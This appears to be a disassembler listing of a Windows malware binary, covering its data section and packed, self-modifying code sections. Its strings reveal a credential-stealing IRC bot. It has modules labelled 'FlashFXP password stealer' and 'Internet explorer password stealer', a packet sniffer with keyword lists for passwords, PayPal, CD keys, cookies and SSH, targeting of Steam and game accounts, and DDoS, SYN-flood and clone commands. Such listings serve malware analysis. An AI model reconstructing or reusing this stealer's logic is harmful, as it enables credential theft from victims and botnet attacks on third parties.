dword_41D268	dd 2343003h, 2037525ha_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2D4	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 10h
aPass		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 10h
asc_41D300	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 4
unk_41D308	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D34C	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_41D388	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D3E4	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
aHttps		db 'https:/',0          ; DATA XREF: sub_414EF4+9DDo
aHttp_0		db 'http:/',0           ; DATA XREF: sub_414EF4+9C6o
		align 4
aString		db ':String',0          ; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D45C	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D49C	dd 2Ch							; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D4AC	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 10h
dword_41D510	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D560	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D564	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_41D598	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5CC	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6FC	dd offset aUser_0	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_1	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth		; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_2	; "pass="
		dd 0
		dd offset aPw		; "pw="
		dd 2 dup(0)
off_41D758	dd offset aLogin	; DATA XREF: sub_415EB7+54o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth_0	; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey	; "cd-key"
		align 8
		dd offset aCdKey_0	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		align 10h
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		align 10h
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7CC	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU	; "serv-u"
		dd 0
		dd offset aServU_0	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_41D810	dd offset aPrivmsg_0	; DATA XREF: sub_415EB7+98o
					; "PRIVMSG "
		align 8
		dd offset aNotice_0	; "NOTICE "
		align 10h
		dd offset aTopic	; "TOPIC "
		align 8
		dd offset aJoin_0	; "JOIN	"
		align 10h
		dd offset aPart		; "PART	"
		align 8
		dd offset aQuit		; "QUIT	"
		dd 2 dup(0)
aQuit		db 'QUIT ',0            ; DATA XREF: .data:0041D838o
		align 4
aPart		db 'PART ',0            ; DATA XREF: .data:0041D830o
		align 4
aJoin_0		db 'JOIN ',0            ; DATA XREF: .data:0041D828o
		align 4
aTopic		db 'TOPIC ',0           ; DATA XREF: .data:0041D820o
		align 4
aNotice_0	db 'NOTICE ',0          ; DATA XREF: .data:0041D818o
aPrivmsg_0	db 'PRIVMSG ',0         ; DATA XREF: .data:off_41D810o
		align 4
aDdos		db 'ddos',0             ; DATA XREF: .data:0041D804o
		align 10h
aServu		db 'servu',0            ; DATA XREF: .data:0041D7FCo
		align 4
aServU_0	db 'serv u',0           ; DATA XREF: .data:0041D7F4o
		align 10h
aServU		db 'serv-u',0           ; DATA XREF: .data:0041D7ECo
		align 4
aClone		db 'clone ',0           ; DATA XREF: .data:0041D7E4o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: .data:0041D7DCo
		align 4
aSyn		db 'syn',0              ; DATA XREF: .data:0041D7D4o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .data:off_41D7CCo
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .data:0041D7C0o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .data:0041D7B8o
aLP		db 'l/p',0              ; DATA XREF: .data:0041D7B0o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .data:0041D7A8o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: .data:0041D7A0o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .data:0041D798o
		align 4
aCdKey_0	db 'cd key',0           ; DATA XREF: .data:0041D788o
		align 4
aCdKey		db 'cd-key',0           ; DATA XREF: .data:0041D780o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .data:0041D778o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .data:0041D770o
		align 4
aAuth_0		db 'auth ',0            ; DATA XREF: .data:0041D768o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: .data:0041D760o
		align 4
aLogin		db 'login ',0           ; DATA XREF: .data:off_41D758o
		align 10h
aPw		db 'pw=',0              ; DATA XREF: .data:0041D74Co
aPass_2		db 'pass=',0            ; DATA XREF: .data:0041D744o
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .data:0041D73Co
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .data:0041D734o
		align 10h
aUsername_0	db 'username=',0        ; DATA XREF: .data:0041D72Co
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .data:0041D724o
aAuth		db ' :auth ',0          ; DATA XREF: .data:0041D71Co
aIdentify	db 'identify ',0        ; DATA XREF: .data:0041D714o
		align 4
aOper		db 'oper ',0            ; DATA XREF: .data:0041D70Co
		align 10h
aMailpass	db 'MailPass ',0        ; DATA XREF: .data:0041D708o
		align 4
aPass_1		db 'pass ',0            ; DATA XREF: .data:0041D704o
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .data:0041D700o
		align 10h
aUser_0		db 'user ',0            ; DATA XREF: .data:off_41D6FCo
		align 4
dword_41D9A8	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9DC	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_41DA10	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h
		dd 0B4ACFFE6h, 2 dup(0)
dword_41DA48	dd 0A1C21D0Eh						; .text:00416845r ...
dword_41DA4C	dd 0D6AF099Eh	dword_41DA50	dd 0ED38F9D8h	dword_41DA54	dd 5D58CED8h			dd 0
off_41DA5C	dd offset dword_41DD44	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		dd 2 dup(0)
off_41DA68	dd offset dword_41CC4C	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA6C	dd offset aBg		; DATA XREF: sub_40CF2F+B8r
					; "ÓÞƒ"
dword_41DA70	dd 0							; sub_40CF2F+DFr
		dd offset dword_41CC2C
		dd offset aOa		; "×׎€"
		align 10h
		dd offset dword_41CC08
		dd offset aDvi		; "ÓÖ„‚©"
		dd 0
		dd offset dword_41CBE8
		dd offset aPa		; "ÚÖ€"
		dd 4 dup(0)
dword_41DAA4	dd 8F88D9DDh, 81F1C5A2h, 2 dup(0)					; sub_40D871:loc_40DCB8o
aLast		db '#last',0            ; DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
		align 4
		dd 1Eh dup(0)
byte_41DB34	db 0C1h			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 85h,	0D8h, 0DFh
		dd 0F1h, 1Eh dup(0)
byte_41DBB4	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC34	dd 3430032Eh, 2036202h,	0					; sub_40D871+242o
dword_41DC40	dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh	dup(0)					; sub_406AE7+2Eo
dword_41DD44	dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0dword_41DD54	dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: .text:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: sub_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: sub_416ADB-87o
		align 10h
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .text:0041684Bo
		align 10h
dword_41DDD0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DDE0	dd offset off_4172BC	; DATA XREF: .rdata:off_4172C0o
					; .rdata:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DE00	dd offset off_4172BC	; DATA XREF: .rdata:off_417308o
					; .rdata:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DE18	dd 0							; sub_401856+21r ...
dword_41DE1C	dd 0							; sub_401856+36r ...
dword_41DE20	dd 0							; sub_401856+4Br ...
dword_41DE24	dd 0							; sub_401856+Cr ...
		dd 0
dword_41DE2C	dd 0							; sub_4018AF+62r ...
byte_41DE30	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DE38	dd 0							; sub_404CBB+1Br ...
dword_41DE3C	dd 0		dword_41DE40	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_409C36+12r ...
		align 8
dword_41DE48	dd 5B86A313h	dword_41DE4C	dd 5B86D617h	dword_41DE50	dd 5B86FD69h	dword_41DE54	dd 5B894541h	dword_41DE58	dd 5B868E65h	dword_41DE5C	dd 5B8A3009h	dword_41DE60	dd 5B867750h	dword_41DE64	dd 5B897BE9h	dword_41DE68	dd 5B8A5DD1h	dword_41DE6C	dd 71B2517Fh	dword_41DE70	dd 71B2578Ch	dword_41DE74	dd 71B2547Ah	dword_41DE78	dd 71B25099h	dword_41DE7C	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_408B30+118r ...
dword_41DE80	dd 5E0C53F7h						; sub_414EF4+6Cr ...
dword_41DE84	dd 71AB2A6Fh	; resolved to->WS2_32.getaddrinfo					; sub_403BD3+197r ...
dword_41DE88	dd 71ABC671h	; resolved to->WS2_32.getnameinfo					; sub_403BD3+17Fw ...
dword_41DE8C	dd 71AB2B0Bh	; resolved to->WS2_32.freeaddrinfo					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E294	dd 0							; sub_4042FB+20o
dword_41E298	dd 0							; sub_4042FB:loc_404327r
		align 10h
dword_41E2A0	dd 76BF1F1Ch						; sub_405FA3+7Ar ...
dword_41E2A4	dd 76BF2075h						; sub_405FA3+83r ...
dword_41E2A8	dd 76BF21C2h						; sub_405FA3+8Cr ...
dword_41E2AC	dd 76BF3A9Ah						; sub_405FA3+71r ...
dword_41E2B0	dd 14A558h, 0FFFFFFFFh,	5 dup(0)					; sub_406041+Bo ...
byte_41E2CC	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2D0	dd 0							; sub_409226+77w ...
		align 8
dword_41E2D8	dd 14A580h, 0FFFFFFFFh,	4 dup(0)					; sub_4095A4+6o ...
dword_41E2F0	dd 0							; sub_4095A4+11r ...
		align 8
dword_41E2F8	dd 874FC0h						; sub_4095A4+57r ...
dword_41E2FC	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409DD0+65w ...
dword_41E300	dd 0							; sub_409DD0+44r ...
dword_41E304	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409DD0+91w ...
dword_41E308	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_409DD0+7Bw ...
		align 10h
byte_41E310	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E718	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E898	dd 40h dup(0)						; sub_40CF2F+A6o ...
dword_41E998	dd 3 dup(0)						; sub_40CF2F+36o ...
dword_41E9A4	dd 0							; sub_40D366+15r ...
		dd 0
dword_41E9AC	dd 0							; sub_40E618:loc_40E66Dw
byte_41E9B0	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EAB4	db 8Bh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0B9h, 0DBh, 0B0h
		dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0
dword_41EAC8	dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EADC	dd 97F3C11Bh						; sub_410318+7w ...
dword_41EAE0	dd 4663D751h						; sub_410318+11w ...
dword_41EAE4	dd 0E06A3383h						; sub_410318+1Bw ...
dword_41EAE8	dd 54059D82h						; sub_410318+25w ...
		align 10h
byte_41EAF0	db 0E2h			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0E6h, 0B7h, 0B0h
		dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0)
dword_41EB08	dd 2 dup(0)	dword_41EB10	dd 0		dword_41EB14	dd 2 dup(0)	dword_41EB1C	dd 0							; sub_4127D0+16w
dword_41EB20	dd 0							; sub_4127D0:loc_4128A0r
dword_41EB24	dd 2 dup(0)						; sub_412E04+7Fo
aPacked_exe	db 'packed.exe',0       ; DATA XREF: sub_406E8E+208o
					; sub_407148+172o ...
		align 4
		dd 3Eh dup(0)
dword_41EC30	dd 0B0AD314Dh						; .text:00416909w
dword_41EC34	dd 70648CC5h	dword_41EC38	dd 0B25901C8h	dword_41EC3C	dd 494B16DBh	aPacked_exe_0	db 'packed.exe',0       ; DATA XREF: sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
		align 4
		dd 3Fh dup(0)
dword_41ED48	dd 40h dup(0)						; sub_40A9CF+108Eo ...
byte_41EE48	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EEC8	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41EF48	dd 40h dup(0)						; sub_4055E5+746o ...
byte_41F048	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 1000h
_data		ends

; Section 4. (virtual address 00020000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00020000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
he5_4aoe	segment	para public 'CODE' use32
		assume cs:he5_4aoe
		;org 420000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		jmp	loc_4167F1
; ---------------------------------------------------------------------------
		db 4, 0F2h, 10h
		dd 80EAAD4Fh, 0AC73D4DAh, 0DC2D6A93h, 2E604ED4h, 75F30Dh
		dd 0F7A4F832h, 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h
		dd 462E615Ah, 4828A618h, 0A1451A78h, 40906529h,	0B495D931h
		dd 97149424h, 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh
		dd 1ADB5345h, 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h
		dd 99659D6Dh, 47F10574h, 456D1989h, 0E0431BB0h,	916BBA88h
		dd 1E8F00F3h, 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h
		dd 53448C2Ch, 7E5B7016h, 0CD5456A9h, 1CCDCB79h,	6285B447h
		dd 301E548Ah, 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h
		dd 3BC44345h, 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh
		dd 6B505B2h, 40CD9C5Ah,	6CA84A62h, 0EA9069C7h, 0D542374Eh
		dd 0F1191845h, 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h
		dd 0B93DCECh, 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h
		dd 42C3F180h, 5B567AEh,	0C47BB09Eh, 0D4DBA398h,	68AB441Eh
		dd 0B690D70Fh, 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h
		dd 310A892h, 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh
		dd 371D1500h, 0B231B1EAh, 8622775Ch, 631654D8h,	31349104h
		dd 0A08A565Fh, 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h
		dd 51F3012h, 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah
		dd 0E0E031F8h, 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h
		dd 0D0035FEh, 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h
		dd 518D0A1Bh, 308A5027h, 0A3888152h, 7A401A47h,	45ABA1A4h
		dd 6C468A1Ah, 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh
		dd 0A53A2873h, 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h
		dd 3DFA6395h, 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h
		dd 182B28C0h, 380h dup(0)
he5_4aoe	ends

; Section 5. (virtual address 00021000)
; Virtual size			: 00024000 ( 147456.)
; Section size in file		: 00024000 ( 147456.)
; Offset to raw	data for section: 00021000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
lsqvqpii	segment	para public 'CODE' use32
		assume cs:lsqvqpii
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 10h,	2, 0
		align 8
		dd 0FFFFFFFFh, 2103Ch, 210B4h, 21108h, 0
		dd 0FFFFFFFFh, 210E8h, 21104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_4210B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_42F0DC+51r
dword_4210B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4210BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4210C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; lsqvqpii:loc_42E0B3w	...
dword_4210C4	dd 7C809A51h, 7C809AE4h, 2104Ch, 21060h, 21070h, 21084h
; resolved to->KERNEL32.VirtualAlloc					; DATA XREF: lsqvqpii:0042EFC5o
		dd 21094h, 210A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h,	7E45058Ah, 210F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: lsqvqpii:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: lsqvqpii:TlsCallbacks_ptro
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_421134	proc near		; CODE XREF: sub_42CF38p
					; lsqvqpii:0042E64Bp
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_42113E:				; CODE XREF: sub_421134+21j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_421154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_421154:				; CODE XREF: sub_421134+10j
		dec	ecx
		jg	short loc_42113E
		pop	ecx
		pop	esi
		retn
sub_421134	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset sub_401000
		dd 6000434Ah, 1, 717E0000h, 3B4420D5h, 1C1DCC09h, 23F0889h
		dd 0B83E97F0h, 5E81C23Eh, 7702E8Ah, 291C8940h, 1C2173CCh
		dd 0B4040504h, 17FFF848h, 0C6970601h, 4E123446h, 43D07Fh
		dd 0AC92A87Ah, 0CAFEF739h, 0E1FE60ECh, 32680D7h, 4EEB4AD5h
		dd 1529C4C8h, 8C1E0829h, 90C2700Dh, 785097C0h, 1F4371h
		dd 0F2002619h, 6040E397h, 9D8DCC10h, 0E7A3B8h, 8DEC46A8h
		dd 5DF2D3FCh, 0AFF14F0h, 635B267Ah, 181B41Bh, 422950FEh
		dd 712CC218h, 6880A26h,	5EBA1EF4h, 754DD20h, 45689816h
		dd 148206EBh, 73564218h, 4E0FA4CAh, 0C8C50AEh, 7468890Ch
		dd 0E862C231h, 9044F0B5h, 0BAA0CA8h, 0E122B0BCh, 0F8EC8237h
		dd 7125BE9Fh, 34485CD8h, 3C350902h, 19011D79h, 8001119Ah
		dd 0E4DA42D1h, 20A1022Dh, 3609863Dh, 80962BA2h,	0B80F7AC4h
		dd 67CAD013h, 28CF402Ch, 91C2876h, 7F900254h, 2405C5D3h
		dd 0D5223E46h, 88203077h, 1412C87Ah, 69D39CDAh,	6A554099h
		dd 0FCFDF0D7h, 81B55260h, 0A402CFC4h, 78DD945h,	0D36B2A43h
		dd 0A321AE00h, 4B879386h, 0B11030h, 5D64EFA8h, 0C5A6F8AEh
		dd 51282A6h, 7BD63709h,	0B261765Fh, 7461A1F9h, 238D39ACh
		dd 0CBB73481h, 0ABDAFDC7h, 26AD4150h, 0C44A3590h, 0E412EAA2h
		dd 97595444h, 0B0B540BAh, 506487EDh, 0C2328065h, 8B0ABA48h
		dd 0B45BA89h, 0B2CAB253h, 0C9961302h, 6E44577Fh, 0E0B159F0h
		dd 52910627h, 5D623D4Ch, 81848BA2h, 7B156A40h, 0C0F41132h
		dd 0D1DA6667h, 0A8C1A1A7h, 0A8130731h, 0DB4B82A2h, 1CA5202h
		dd 2A1A4444h, 0E3C282CEh, 1A064C01h, 443C865Fh,	8A053B8h
		dd 3ABCC2Ah, 28A05DB5h,	1DE24FDAh, 91E8BB04h, 0BC9908A5h
		dd 7BAA9C7Fh, 0F6D01333h, 4D3F8186h, 2036B4C3h,	0CD8D8B45h
		dd 41266314h, 3C0000E6h, 0A3525E2Dh, 6887F7C6h,	6306086h
		dd 2573E195h, 58399A6Eh, 18AB50A4h, 1F164F23h, 0FBEF159Ah
		dd 0F0300507h, 2303D88Dh, 0ADC964E2h, 859449h, 0C6DE24Ah
		dd 0DC59D199h, 6515B280h, 4423844h, 509E628Dh, 40972578h
